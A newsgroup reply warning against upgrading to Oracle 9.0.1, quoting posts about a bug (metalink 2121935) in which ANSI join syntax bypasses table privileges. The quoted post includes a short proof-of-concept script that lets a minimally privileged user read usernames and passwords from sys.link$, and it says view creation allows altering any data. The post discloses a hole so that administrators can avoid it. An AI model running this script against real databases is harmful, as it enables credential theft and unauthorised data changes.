RE: Upgrade from 9.0.1.2 - NOPE!

Cutting and pasting from an old post: by Jonathan Lewis:

The upshot of it seems to be that anyone who can get an sql session can look at any data, and given 'create view' as well can change data at will. You may be able to use the database in production, but only if your users can't access it directly.
I've not tested it myself, but it should still be on metalink.



This just in from comp.databases.oracle.server.

See metalink bug 2121935.

Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc) allows you to view data from tables on which you have no privilege. For example, try this COMPLETE script:

connect / as sysdba
create user us1 identified by us1;
grant create session to us1;

connect us1/us1

select userid, password
from

        sys.link$ cross join dual
;

Worse still, if you have the privilege to create views then this loophole allows you to seek and destroy ANY DATA in the database that you might want to.

The bug is fixed in 9iR2. I didn't see any note about a backport, or a security alert on OTN.

Conclusion:

    9.0.1 should not be in use on production system     until Oracle supplies a fix.



With apologies for the mangled quick quote. Simon Anderson
